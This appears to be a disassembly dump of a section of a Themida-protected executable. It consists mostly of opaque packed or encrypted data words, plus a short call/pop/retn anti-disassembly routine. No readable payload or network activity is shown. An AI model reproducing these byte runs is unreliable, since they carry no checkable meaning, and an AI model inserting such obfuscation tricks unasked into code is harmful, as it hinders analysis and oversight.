dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h
dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B605EF64h
dd 0A633185Eh, 0AF57D75Eh, 4C71F600h, 6ABE688h, 242CDD15h
dd 7ADA6DCBh, 9EBA25C1h, 0D8869A36h, 2E078078h, 0B03A608Ah
dd 46BA12BCh, 8543D5DBh, 0B606256Fh, 0E3CCFA55h, 0A9EC8140h
dd 0EC3A1304h, 0C4692043h, 0BC6AD143h, 0B1E5DD3Ah, 6081317h
dd 8C46F1B6h, 0A4F4D665h, 482D0CBEh, 3C17BCAEh, 7C64C38Ch
dd 15EECDECh, 0A52h, 1694DD7Ch, 41C580ADh, 0B7F3BADEh
dd 0E723660Ch, 0D0561B3Ch, 4BEC264Bh, 7F1F8006h, 294BF432h
dd 0DA79DA60h, 55971793h, 5EFF733h, 0A08FCDB6h, 88155CFFh
dd 94B57417h, 0D93AE0D9h, 0CBB8F0B5h, 7F7B24B3h, 12DFD283h
dd 4F36Ah, 0B5E7BD00h, 60AED80Eh, 22B605EAh, 53F2DD09h
dd 238C1Ah, 2262E449h, 0C4B605EAh, 3A5F3CB2h, 62B64427h
dd 1ECC77A5h, 0F8304AF0h, 0ABB606A8h, 4E5FC48Dh, 0C30593BCh
dd 0BCAED9E8h, 2C6F7CFEh, 0F677DFEFh, 99921F56h, 6DC608A0h
dd 7B36EEBBh, 9273B0ECh, 9AEh, 0A2F8B1D8h, 9D296C01h, 0CB5F1632h
dd 3B8FCA68h, 6CBAF798h, 1F40D2E7h, 0CB6BD452h, 0FD9F0086h
dd 0AECD76B4h, 213BA3E7h, 5F1A3E7h, 0FC5B61B6h, 0E0130BAh
dd 0FB50E471h, 0FF391257h, 0DF440D30h, 0C16E2746h, 71812289h
dd 12DF1485h, 44B60h, 5EA6BB00h, 5DAF57D7h, 64A644FFh
dd 0B605EA50h, 6BED1932h, 0FA8012D2h, 0D51F99C2h, 84024BEAh
dd 0EC31781Bh, 0A7EE8D76h, 0BD06B671h, 5ADCFF09h, 8DA6BCAEh
dd 7C52085Bh, 542D8EECh, 91Eh, 0D2682148h, 0D99DC71h, 7BCF86A2h
dd 0ABFFBAD8h, 9C2A6708h, 8FB06217h, 0BBDB44C2h, 6D0FB0F6h
dd 1E3DE624h, 914BD357h, 5F13377h, 6CCB11B6h, 0FE9D5CFFh
dd 58316AB7h, 622B4ADBh, 0ACEC1E44h, 96AF57D6h, 0FE887BBDh
dd 4E3A38F9h, 0A912DFD2h, 3B8h, 3559BA72h, 0EC2E3870h
dd 0AFAF57D6h, 0F610B60Dh, 0B605E9E7h, 2E5472DDh, 5EA9C9Ch
dd 6BCD66B6h, 0D77F1E81h, 73AD8AADh, 97C80275h, 84AEC7D3h
dd 6DD6544Dh, 0F7EF66CEh, 9117026Fh, 4EF7BB8h, 0CD88A663h
dd 0DA5E4FD4h, 0B9DCEF4Dh, 45E307F0h, 2375385Ah, 0AEDBCA25h
dd 12339CBCh, 0B2FFBAD7h, 82238079h, 1506ABE2h
dd 1852FC3Ch, 0AC22794h, 1A38A9E9h, 0E0D9D25Fh, 7BA96538h
dd 3B8427ECh, 846h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
dd 0B9A33B8Fh, 5F20B0Fh, 94B3F9B6h, 88155CFFh, 4F561852h
dd 9E9A9E28h, 0CF68AF58h, 178E8837h, 0D77F1E81h, 0A264DDF6h
dd 0DB5831F8h, 2F36FF54h, 3EA1450Ch, 79C35510h, 0DFC8E1DDh
dd 70412h, 0DF1F0000h, 2C8h, 0EA1CBAFAh, 0AF57D6AEh, 0EB7DBB94h
dd 0AF57D6B1h, 662B4CB7h, 0FF48E039h, 87CE6E5Dh, 0F228011Ah
dd 5EA8C48h, 0F61076B6h, 0B605E9B2h, 18CEA790h, 49DD94B7h
dd 0A10E47E6h, 0E787B418h, 0F61405AAh, 5EA5454h, 2C052EB6h
dd 0F23650FEh, 0D0B605E9h, 8D2B3167h, 0B509D94Bh, 5E41713h
dd 8842EDB6h, 8B3F36A0h, 6B73971h, 88200BB6h, 0AEBD1F7Eh
dd 9FABE5BCh, 0DF96B6D1h, 88815952h, 8A3E17D6h, 0EC7C959Dh
dd 4FBF00A3h, 79000007h, 0B01397DEh, 0DF40C683h, 9AAF0B9h
dd 399A2065h, 4AD15518h, 74AEB27h, 337E2083h, 61284CF7h
dd 92DB7A25h, 304A9014h, 0B605F2F8h, 0FFA78CCAh, 67F1155Ch
dd 0C5A66BB8h, 5FF35415h, 742D9E1Ah, 941B98D1h, 0CC6F763Fh
dd 0D7FA3E48h, 6FC8AF57h, 0E9CA3076h, 0A1EC8E4Fh, 0ED322B7Ch
dd 60294BBCh, 0EA4EEAC3h, 12DFD7FEh, 0C19h, 59BA2200h
dd 5D22763Fh, 1C4h, 0D765A678h, 0F626AF57h, 4DDE0DACh
dd 1EF71168h, 0EF9D5EE8h, 4467B605h, 0D2CB6821h, 43E2CDF9h
dd 6ABE282h, 0EE3C15h, 65B3FE9Fh, 4DD29BBAh, 37D368CCh
dd 0ADF57A95h, 39EF48BCh, 0EC7CB848h, 8F98694Ah, 0B9000006h
dd 0F053D79Eh, 1F800643h, 49EA3079h, 79DA6025h, 8A1195D8h
dd 470A2BE7h, 733E60C3h, 0A1E88C37h, 0D29BBA65h, 0F00AD054h
dd 0B605F3B8h, 0FFE74C8Ah, 67F1155Ch, 0ACEE1B70h, 7EED4B3Ah
dd 800BAE0h, 0FAAF58B3h, 3FC69951h, 873FF8B4h, 0A6EF8E11h
dd 0B7F29F00h, 0D194B96Ah, 4CD3B0F8h, 91723EE7h, 2576BBF2h
dd 40092CF3h, 6652FAh, 198112DFh, 5B000000h, 0B98F8B3Dh
dd 1775AF58h, 58B8B5F5h, 0CBA48FAFh, 0F1DF466Dh, 0FA000000h
dd 57D765A6h, 0ABDD7BAFh, 0AF57D76Fh, 95953755h, 6FAF57D7h
dd 0FA4DEBC4h, 83C5E15Ah, 0B605EAD2h, 41082B94h, 0D80E29D7h
dd 0B6F214B2h, 0EDB605EAh, 8B9C014Ch, 0D758D07Bh, 16D775B4h
dd 0DE433C79h, 0ED56D4CDh, 119A074Eh, 58E218A3h, 0BCADF145h
dd 77F4143Fh, 99EC7CBBh, 5A4A91Ah, 0ABCE0000h, 56FBA4E2h
dd 0C2C9713h, 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h
dd 3E8CC161h, 68BEF795h, 59EDA4C7h, 0ADED1FCDh, 97B605F4h
dd 5CFFEA51h, 34528815h, 57D79692h, 55C36CAFh, 9D2FABCAh
dd 0AF57D79Dh, 4ED3CC67h, 8DB013CBh, 36FF54C4h, 0ABCD0C2Fh
dd 736CBDE2h, 48E6C937h, 2177A00Dh, 0DFD69975h, 77C12h
dd 0DFC70000h, 20h, 155CFFFAh, 276E0EF1h, 0F29112F1h, 0D4591033h
dd 0EE45EAC3h, 8EADB47Dh, 30C043C7h, 0DB000000h, 0FE9D5CFFh
dd 58316AB7h, 0D71413DBh, 0ED8FAF57h, 88A67FA4h, 188D60CDh
dd 892E1897h, 4B022128h, 0D3D7719Fh, 0B1AF57D6h, 4F062586h
dd 0BA4463E9h, 20DF3230h, 708AE8EBh, 819297E4h, 179810FBh
dd 37F03D74h, 7E883E85h, 0B606058Dh, 83CE7053h, 9A40EB15h
dd 0D7531A39h, 6708C96Ch, 2A95312Ah, 0CFD84508h, 8331FA69h
dd 58C58CB0h, 29619B4Fh, 1BB60605h, 5A34730h, 604C7C3h
dd 692BDB6h, 2D4DB6DCh, 0E527C360h, 0B60605A5h, 5DDBB49Fh
dd 0B419718Bh, 933553BCh, 0BCB41997h, 3DE9C26Dh, 0ACFAB3D2h
dd 933B5D46h, 7CE72477h, 0F6221B81h, 7C8E0A29h, 0BCB46C3Ch
dd 62A6E006h, 20BCB46Ch, 81251EF7h, 6BE9215Bh, 9ABABCB4h
dd 8D5D4ED3h, 149576A2h, 5DEF1BA0h, 0C35C868Eh, 282DDB74h
dd 6AE5CE27h, 428F849h, 37520000h, 0EA87287Eh, 90B81BAFh
dd 4CE24DD9h, 7112BD09h, 5061EE3Ch, 5EECA1C2h, 821855F5h
dd 0FC4A0321h, 2D793053h, 2119A3B9h, 0E3B605F6h, 5CFF7EA5h
dd 0F2E9115h, 0C07AA046h, 0AF57D6C8h, 0A40791BAh, 8C1158FBh
dd 0F23F7213h, 0D15E1731h, 7DFCA50Eh, 0F1F8B912h, 2F8F1B52h
dd 12DFD633h, 0F67211F2h, 57E35454h, 2C052EAFh, 0F0029687h
dd 3Eh, 4508298Ah, 4269CFD8h, 0D80EB5E7h, 2715AEh, 0A644EFB6h
dd 0D0561F3Dh, 26F036h, 0D990B3B6h, 0CF79A74Dh, 0B60026CBh
dd 951A9EB9h, 9071BEF7h, 382h, 2BF3E06Ah, 9D53FE63h, 0B5E7101Bh
dd 38123AEFh, 0F3EC104Dh, 0A4AB5D7h, 1F38B600h, 0B3721192h
dd 7F36529Fh, 17001986h, 0BE7F198Ah, 0B5FAD39Ah, 9C0148ECh
dd 79F8B916h, 9CE0413Ah, 9D4D476h, 85AEB600h, 9B209413h
dd 619BC16Fh, 0B6000A29h, 7126D11Bh, 80B6F154h, 98C70197h
dd 6ABCA862h, 94BA25C1h, 0DD5B4CD1h, 3A60D477h, 0AD766408h
dd 0B7534C76h, 50A3EA15h, 3456FCC3h, 0C350A3F4h, 92A9E4C6h
dd 0FE009F71h, 0F33DC355h, 75A142B1h, 862B04D8h, 0EC317C1Dh
dd 0D65B1E33h, 4BEC214Dh, 0F0802D06h, 14BB3AFBh, 45F7F6BFh
dd 4FBEC8FEh, 35C9F842h, 14668C1Ah, 573B893Bh, 0EDB2E6E0h
dd 4C9A074Eh, 268BCE63h, 59FCA3F5h, 0C66C8A10h, 0F80D8484h
dd 43D57EC9h, 0CF6350C4h, 0D67C258Ah, 241D0E93h, 0CB719F4Bh
dd 0B65BC881h, 17BF0920h, 0C9F7E413h, 0E7AECEF1h, 208861BAh
dd 0A002B726h, 7DA28DD0h, 0A002B9FDh, 8944EAD0h, 60CDA6EFh
dd 315E93BFh, 5FE2F74h, 2283E898h, 0FDA60D93h, 622F50B3h
dd 0FE766236h, 40913397h, 0AA000000h, 0F53830BAh, 0E7BB5826h
dd 1C46F6B1h, 2912B264h, 2BDFC8C5h, 567E91h, 46EB44B6h
dd 568084h, 0DDC61CB6h, 7EAFF4B1h, 0D2E0413Ah, 1477A9E6h
dd 2FFBAF29h, 4BFDAC7Bh, 0B12FEDh, 0FFF00000h, 1788155Ch
dd 2DF63B76h, 49DA470Eh, 3547632Ah, 51A572B5h, 0C248E06Ah
dd 5887E738h, 0D099BCAFh, 34AE94Ah, 4BF1D9Eh, 1550FDE6h
dd 0BC2F5983h, 86B60097h, 0EAE19ADh, 0C2F711B5h, 0A4BCAB39h
dd 0F253163Bh, 6E90185Dh, 9DBE21C5h, 48E94AD0h, 734CE305h
dd 6142EC7Fh, 1B5E0h, 0F1B8DF00h, 20650AB5h, 561F399Ah
dd 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h, 0AA1591DCh
dd 0DC47C38Ah, 32AAF0B9h, 0F99A9E28h, 2268B605h, 7730BA05h
dd 524E70Ch, 99BA65B3h, 2EA856D4h, 784EFA10h, 0E910779h
dd 1F80266Fh, 0BCED327Fh, 0E7A9967Ch, 0AED80EB5h, 0B600054Fh
dd 6AEC1A35h, 471E7C60h, 0E142D6BCh, 311D19h, 0ADE886B6h
dd 0B2FF9F00h, 0A90AA16Dh, 842D862Ah, 778C9A76h, 0BD7D14h
dd 0FFC60000h, 1788155Ch, 74F63B76h, 0AF57DC1Bh, 13C58BCDh
dd 4678ECB5h, 58740404h, 7C55FEAFh, 99D0733Ch, 0CA83A20Dh
dd 0DC95B31Ch, 8E2EEF5Ch, 387117F8h, 58749A9Eh, 0D6CF68AFh
dd 84639630h, 0F621B600h, 0DD004AB0h, 6879DFCh, 0A68517F7h
dd 77D782Ch, 95A61691h, 2475BAF3h, 8E719F4Bh, 2E43A4E1h
dd 0AF3BCD6Bh, 95BCAB0Eh, 82A30CBAh, 90B81BCFh, 4AF55FD9h
dd 0A5446429h, 0EFEC7F9Dh, 0AC73CCh, 0B3D60000h, 6E03ACFAh
dd 14349F2Bh, 0C866C95Dh, 0F596398Dh, 0D4E562B8h, 0CA501D3Eh
dd 684C969h, 70B6FF9Dh, 0A1E5ACCFh, 0A5E527C5h, 9FB605FAh
dd 5EFFF259h, 92C9713h, 0FFDDFA40h, 1788155Ch, 5EE93D74h
dd 6703A4FEh, 532FC473h
dd 261F56F2h, 0D1204680h, 49E2B606h, 0D9183BE4h, 91DC7EBFh
dd 0FD221B0Ch, 50193BACh, 0DD802367h, 5A33761Ch, 185915D5h
dd 8378D6E8h, 31781B22h, 0A7E10FF5h, 0D6E81863h, 95D07E21h
dd 90B37CBCh, 0A7CB54D9h, 11BABDE2h, 0A3EA8990h, 0D099BC67h
dd 61A9A02Ah, 87DAF8A9h, 3D1B211h, 0F4000000h, 58FFCBB0h
dd 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh, 0D4752E73h
dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h, 0C681E689h
dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 0E089505Ch, 405h
dd 42D00h, 4870000h, 4895C24h, 59356824h, 1C890000h, 4EC8324h
dd 0BD242C89h, 6AE1405h, 685DE889h, 2BCEh, 81242489h, 42404h
dd 565B0000h, 73895E50h, 34FF5E08h, 0C4835B24h, 2434FF04h
dd 4C48358h, 0FA595DE9h, 9FEE9BFFh, 0A7CBA145h, 0FAB84647h
dd 306AE23h, 0BFE0FFC5h, 1279459h, 0FF6A7117h, 5B2A8463h
dd 0FE5DE48Dh, 4161D694h, 3171D532h, 745A086Dh, 0A8476D58h
dd 894DF4BDh, 7F0F5EB8h, 4250D14Bh, 9E292B14h, 778E121h
dd 3E758254h, 0AF6B6AD0h, 0FF63B59Ch, 39035319h, 557548EFh
dd 0D2132E11h, 0F470D6CAh, 4245489Bh, 357D50D7h, 7056E58Ah
dd 5A64DEC8h, 5F59D9D3h, 0E96F3E58h, 0Fh, 7A2D6448h, 2 dup(0)
dd 0E9000000h, 588h, 92286108h, 0CD591C31h, 3B8FC662h
dd 6BBFFA98h, 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h
dd 5EFDA6E4h, 0D10B9317h, 5FB73B7h, 2C0B51B6h, 0E38B30BAh
dd 8235F3CBh, 0A3EA8916h, 57FB9C07h, 0C06742F7h, 32665F6Bh
dd 0E2AFD051h, 1158FBA4h, 0CF6D568Ch, 0EA881986h, 302902AFh
dd 5D1437F8h, 67224FD0h, 0A7E32543h, 9DAF5882h, 1C8566B2h
dd 39EA377Ah, 0B7C9561Fh, 0C66C733Ch, 140D1E83h, 848B1481h
dd 0B112A8E1h, 0B5F51793h, 0EEAF5882h, 6AC50540h, 0EA8A3571h
dd 85A57EA3h, 97B112C8h, 66E95ADEh, 0BFDDE44Dh, 6C0FB0F6h
dd 701E8125h, 0C600E335h, 0AF5882BFh, 0A00D44E4h, 0FC9E53FFh
dd 255BD8B1h, 5B7E54Eh, 83E757Ch, 0D6AE4DDh, 0D8BA96A4h
dd 575D12DFh, 0E6000000h, 88155CFFh, 57D7484Eh, 773A5BAFh
dd 92DB792Ah, 0B486FD0Dh, 2A778BF4h, 291128Bh, 0B0C26348h
dd 12DF49C4h, 123h, 52FF0400h, 6E10F317h, 0BADFE23h, 2F6A0798h
dd 850D2182h, 57D74743h, 39123DAFh, 3AC19F4h, 0F41257FCh
dd 0F4246D0Bh, 0CF86A50Eh, 5EFF5C7Bh, 78158E13h, 8431F03Dh
dd 3E73141Bh, 6D2447E8h, 95053FB9h, 0B3002475h, 6C63EE3Bh
dd 0DD5B3CBCh, 0DA93B56Eh, 0E5ACCC55h, 0A47E7B8h, 0D45DCEA5h
dd 0AF70DB45h, 0DF0E47A3h, 6F4612h, 0FFD90000h, 508E135Eh
dd 1E83CE6Fh, 6404AB0Dh, 0C92D802Dh, 0D72119A3h, 0C0E3AF57h
dd 0BEFAD39Eh, 34555CC5h, 0E1822D79h, 0F09E07ACh, 91B768B5h
dd 0AACA5BD8h, 0A10ABEE3h, 442F7100h, 0A2E91DBh, 98C8DAA2h
dd 0D8B15322h, 1718C450h, 5A3F12DFh, 0
dd 0F69B5EFFh, 0D6CCCC7Eh, 9DB6AF57h, 352E7FA4h, 5C1537E8h
dd 69CAA1D7h, 3E8CC162h, 1752FF11h, 0EB6310F3h, 57D75951h
dd 17002BAFh, 0DDD82281h, 0C6AF57D6h, 0DB44E9A4h, 0C4AFF4BDh
dd 0ABC7CE57h, 7E7DF5EEh, 0FA61EBB5h, 4F8378EBh, 26128612h
dd 0C112DF11h, 1, 0DD59FF5Ah, 57D76FABh, 1FA55AFh, 2960039Ch
dd 0C7684584h, 0ED2D5F85h, 0D7AF57D6h, 0D5733C7Ch, 1FBD0E9Ch
dd 65C406A4h, 5FB5FFE3h, 50B3AFF4h, 6B34642Dh, 7A6581C8h
dd 0BC0692DBh, 8D397013h, 9F4B0222h, 0FFE32D6Dh, 0FC3C17B5h
dd 0E2C9CF0Fh, 0BE35B5FFh, 8E4FEEF5h, 79CDA6EFh, 0B1FEB7D6h
dd 0E6044DF0h, 0E30A0EB8h, 5FF8B5FFh, 7FA76AD9h, 79BFF294h
dd 7B1A2182h, 0C06E9432h, 0FFE38286h, 2FD740B5h, 0B5FFE2EBh
dd 600D7ED9h, 0AD09F325h, 1477DAB1h, 16754h, 0A3C52E00h
dd 0E7654EEAh, 0AED80EB5h, 0B6000723h, 0BDC5D7E1h, 7DF78B5h
dd 0F97279CFh, 120BF66Ch, 0C16E518Dh, 0AA0E1F84h, 8BA76605h
dd 0AB51D5CEh, 0D691A821h, 296FD07h, 6AB7FE9Dh, 37D39AB9h
dd 0F03B7F89h, 2E09B5FFh, 3D96198Ah, 87CE6D74h, 0CFBFAB03h
dd 565E1477h, 0E1000000h, 0AFEAB6E7h, 0F39BAFD5h, 63A5413Ah
dd 2F57FA07h, 0F4B9DAFDh, 5454961Bh, 4F2F57FAh, 68396623h
dd 0DE218ECBh, 26602CF5h, 2F57F9E2h, 389E77A0h, 3E7711F2h
dd 81A001FAh, 0D7719510h, 0AF57F9B3h, 0FA60A691h, 0EF347919h
dd 0D4591436h, 0C14EEAC3h, 0B8h, 0EA1CBAE4h, 0AF57D6AEh
dd 0AA7DBB94h, 0CECA7C0Ah, 0B4AF57D6h, 9B04A29Bh, 0F278B0F9h
dd 8C96B54h, 0D2332C65h, 66B7FCB1h, 0A593432h, 2BB600h
dd 2A6302A3h, 0AC697AFCh, 596D19E9h, 5A944B05h, 0FB3D879Eh
dd 3B4DEB11h, 0B60065FFh, 2565A7C5h, 1FB60066h, 52DD5B34h
dd 35357A33h, 0B60066F0h, 0C7CE575Ch, 0CB1A0CA4h, 8FACF058h
dd 0EE8F7096h, 3C8F75A3h, 1C872398h, 0BCED3277h, 3354F67Ch
dd 35BCAE65h, 9D2FABCAh, 0BCAE659Dh, 45D3CC67h, 921390BBh
dd 0CA0CBAF3h, 0A0298629h, 0AF93FA7h, 2645EEC7h, 6F994DF6h
dd 0C35C6B0Ah, 0F8B1D7F8h, 144EABBh, 0CCEB3F28h, 0D80EB5E7h
dd 901D54F7h, 0ADCB1187h, 7B72FB2Bh, 3BEF8F50h, 585E8981h
dd 58D07BAFh, 683698Eh, 0F3947FB6h, 82D1C973h, 98B3B606h
dd 511C3EAFh, 0B35DDBCCh, 82F73355h, 83CDB606h, 0FFB461C6h
dd 0CCA59EE9h, 0D69FBE67h, 54CEF50h, 520E5E98h, 47A73289h
dd 2771385Ch, 0B9DCE34Ch, 3575973Dh, 0F328952h, 529E9A24h
dd 0CB643289h, 48EB54D2h, 0CDA6EF89h, 0D693BF60h, 842D8649h
dd 7D1FDE7Dh, 64CF5B34h, 5A2B88C1h, 11h, 0C230BA7Dh, 0F3BAD9DEh
dd 64657DAEh, 0B5A5F3ACh, 1158FFCEh, 3970138Ch, 40092BF4h
dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh
dd 0D792BF60h, 3B68FA4Ah, 89000049h, 8956241Ch, 4C681E6h
dd 81000000h, 4EEh, 24348700h, 2404895Ch, 81E38953h, 4C3h
dd 4EB8300h, 5C241C87h, 56241C89h, 223903BEh, 0D6EE813Eh
dd 8169522Ah, 2E326DF6h, 0F9C6811Ah, 8168A86Ah, 0F88242EEh
dd 8BF08930h, 0C4812434h, 4, 241C8B54h, 4C481h, 50560000h
dd 0CE242C81h, 5E3D4842h, 42CEC681h, 73893D48h, 1C8B5E08h
dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5724048Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 43E95C24h, 0D7FFFA53h
dd 0AE29D5B8h, 0FFC50306h, 182294E0h, 56A7D22Ch, 11127D3Ah
dd 0EA6CFC15h, 0C51DB062h, 664B0274h, 0F5CD325Dh, 3FC6494Eh
dd 8A1C6854h, 80DCAD68h, 0E03D1D62h, 0C4A8D875h, 8F4B8A09h
dd 2A72E521h, 8A64AC1Ah, 39863B0Fh, 0C7131936h, 2430D44Bh
dd 0D7AA9F14h, 5D9D2B68h, 5911CB17h, 0DFEB5109h, 0F0DE520Eh
dd 4F25CA0Bh, 5B590E47h, 49E44735h, 0A98D8D66h, 8006AE2Bh
dd 9D89D5DBh, 6A825EDh, 5B98D89h, 6A06A8h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 1CB6B0C3h
dd 8B66E4F5h, 0C1BD29C6h, 8106A82Dh, 458585DFh, 6985C764h
dd 0D806A814h, 6A000064h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 2569C351h, 85C7A93Fh
dd 6A80BBDh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5AC57F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC57F proc near ; CODE XREF: Themida_:005AC577p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5AC57F endp
; ---------------------------------------------------------------------------
db 0CDh
dd 7612DD7Dh, 0FDB5FFF9h, 0B306A805h, 0DD95FF3Bh, 0E906A820h
dd 7, 0C63B633Dh, 6A9FF97Fh, 3195FF00h, 8B06A81Bh, 7AEBC0h
dd 0A70EEAA6h, 0AABD9910h, 85CFA91Ch, 0BC3D95FAh, 0AD4BB669h
dd 2B79E2AEh, 1E3DEF5Dh, 7FA9ECDAh, 62A4F9A2h, 0AA478B38h
dd 0AB5AD43Eh, 66E6DF4Ah, 0B5F43B99h, 0DD01ADC4h, 2A9E2F4Eh
dd 0EE264AA0h, 1942B0BCh, 0EC8CDCEDh, 0C776B29Bh, 0D42F64DDh
dd 0C60F3AC5h, 0BD6084DBh, 41575E6Bh, 815138C8h, 839B0BABh
dd 4DFA0D45h, 63873B82h, 0AE41C505h, 5920918Eh, 990DAA14h
dd 189E990h, 9E2D0000h, 2C2736BCh, 98D31AD5h, 0D1D746B1h
dd 41EFB4CAh, 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h
dd 0E495BCD7h, 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh
dd 0EE73AFC9h, 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh
dd 0D4C45657h, 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh
dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
dd 97000000h, 33A26D84h, 0EE69F0h, 2 dup(0)
dd 0E9000000h, 0F87h, 0AE2F5F68h, 1886E906h, 7F68FFFBh
dd 0E906AE30h, 0FFFB187Ch, 0AE31F468h, 1872E906h, 0D768FFFBh
dd 0E906AE32h, 0FFFB1868h, 0AE33CF68h, 185EE906h, 0CA68FFFBh
dd 0E906AE34h, 0FFFB1854h, 0AE358268h, 184AE906h, 0DD68FFFBh
dd 0E906AE35h, 0FFFB1840h, 0AE36E768h, 1836E906h, 6468FFFBh
dd 0E906AE37h, 0FFFB182Ch, 0AE383E68h, 1822E906h, 0E168FFFBh
dd 0E906AE38h, 0FFFB1818h, 0AE397268h, 180EE906h, 0AB68FFFBh
dd 0E906AE3Ah, 0FFFB1804h, 0AE3B8768h, 17FAE906h, 0E383FFFBh
dd 54067419h, 0D68D01A2h, 4C35892Ah, 0C3BF13B0h, 7DF19439h
dd 7E1FE59Dh, 0FAC5208h, 9536C2BBh, 2142B621h, 12BADCE3h
dd 5F580FD0h, 0B9D2FFD2h, 104BD94Dh, 1BC4C7E4h, 7346A859h
dd 3C5BF9F3h, 0A7215CE5h, 571A1CE8h, 0AB426E9h, 0A7F6DBE6h
dd 0FD13BC5Ch, 561E37DBh, 3CC3h, 9D7B8200h, 9ADCEBFh, 0E50C1F9Eh
dd 6181BEFCh, 5BF9E258h, 89053A65h, 0FB6B2ADEh, 0F62CA9C9h
dd 95F013A7h, 0A636887h, 4E8D2CFEh, 0AA6D0CBAh, 0FD1BF5DAh
dd 0E1561E1Ch, 0BBh, 4DB9D24Eh, 0E51F4BD9h, 7C88E331h
dd 9B6F18AEh, 0F91AE8FAh, 83F45EA1h, 77605677h, 4DAA1383h
dd 0E9C6A1Ch, 0F637C8ABh, 149B68Fh, 6FF3ED20h, 0A15E01C7h
dd 6F901392h, 602560Fh, 0A3C063A4h, 84BDFF18h, 0AFA86262h
dd 0FAE72FA2h, 0AB9E3658h, 48DBAC0Ch, 15F435E9h, 5EFAE6ECh
dd 0CAB903Ch, 0E342DDACh, 6E94CCC2h, 8E2E178Ch, 0A825B73Fh
dd 0D1Ch, 8A2BD18Dh, 17B44234h, 9B38C4A3h, 2546BA27h, 0B2D32951h
dd 0CFBB630Bh, 44229035h, 30A519BAh, 0B8D3A7C4h, 0D2152F4Ch
dd 0FD104B0h, 0E9D85158h, 8C78139Fh, 3BC1B90Dh, 47B3249Ah
dd 81E61D26h, 522636F9h, 0E54756D9h, 7A81BEFCh, 50C4EB97h
dd 0DB24E70Bh, 0F9337EBBh, 2B84435Bh, 7B359CABh, 88063B9Ah
dd 367B2BDFh, 961CE777h, 519110EAh, 0A7F98021h, 0D737789Bh
dd 0A7F980BFh, 98E8ABFAh, 8CBFD937h, 0CEAF561Fh, 70000000h
dd 0B44DB9D2h, 6F11D849h, 11908D63h, 0F7530F9Dh, 3854B6h
dd 2A755EA1h, 0A1009834h, 0EB4AD55Eh, 73B893Bh, 0A2D55EA1h
dd 668A956h, 5EA104EEh, 0D4B978ABh, 0AD01F5E6h, 0ED9ECF28h
dd 45248519h, 0A44B36BCh, 0D257C733h, 0BF7EA373h, 7452042h
dd 0D3145BF9h, 0F90C1BB3h, 0A9DC56A7h, 8968C95Dh, 6B089B06h
dd 7C85C720h, 0CB3DB3Bh, 0A7FEA7F9h, 0CCFB1BE4h, 0B1A2A086h
dd 0A5DDD16Eh, 0E54D723Bh, 0C6A9B65Eh, 53A9D1A5h, 8D343EF3h
dd 1578EA3Fh, 0BFCh, 0AACB31ADh, 3754A2D4h, 0BBD82443h
dd 45669AC7h, 0D2F30971h, 2F5B432Bh, 0A4C2B0D5h, 1045395Ah
dd 98F3C7E4h, 0F2354F6Ch, 0FCE6490h, 0C9F83158h, 2F4CB6D2h
dd 0B7D4205Bh, 29B9D260h, 34A32914h, 748AF0C5h, 0D2603295h
dd 73B44DB9h, 0A1E8FB13h, 0A88EEE5Eh, 0E8ADDD5h, 0EC911093h
dd 3A5C40A9h, 5EA18F92h, 5CE544DFh, 1CB8DA1Bh, 765EA18Fh
dd 0F332F105h, 0A0DFEE30h, 79A85BF9h, 23545AA5h, 23E247D7h
dd 0F9C053FFh, 0B24631A7h, 0C93552E0h, 0F9D6BA55h, 0B916BAD0h
dd 1F4D3157h, 553D56h, 9F020000h, 748D7713h, 0A1FEFA12h
dd 0AD6CB75Eh, 7E83C12Eh, 3375007h, 5DDCEAEFh, 0A0B742A4h
dd 0A9F85BFAh, 60A7CBF5h, 7D1DA7F9h, 0B09ABC52h, 2084561Fh
dd 0AD000000h, 81BEFCE5h, 0FA07E061h, 0C052CD5Bh, 0F609F21Eh
dd 78848A7h, 1F05CFE9h, 7DF56h, 0ED600000h, 827h, 0BEFCE502h
dd 0E3936181h, 83225BFBh, 0F307707Eh, 473DB1D2h, 1344F6B9h
dd 29D637E7h, 2DB4D66Bh, 86A2AA30h, 0F5A9550Ch, 61C034A7h
dd 5816BEA0h, 0C063AC02h, 139FA061h, 0BB0B8A76h, 0A3F350C0h
dd 0B5946624h, 41D62DD2h, 5C65D62Bh, 403657D6h, 0CA33E317h
dd 91D26F2Dh, 2B0C571h, 3ACEBFACh, 0CB5AC968h, 0E57B748h
dd 0ABA95AB6h, 4F319A78h, 4BD926D8h, 0A87CAh, 44BE2600h
dd 0CF395327h, 5FA3D8AEh, 0ED11483Eh, 748EFAC8h, 0DEC0B457h
dd 473B58A2h, 0F0C6E719h, 7E4C7185h, 0A8D4F90Dh, 0CFEF0767h
dd 6DAA580Fh, 0FF12BE32h, 9A475EA1h, 39C727D8h, 16A4041Dh
dd 2C19B5D5h, 0CD54A7F0h, 2F4CD74Ah, 1AE09816h, 0E3662988h
dd 5BBB4406h, 0A2AA30ADh, 62709110h, 0EAD8FD09h, 0F6FC05F1h
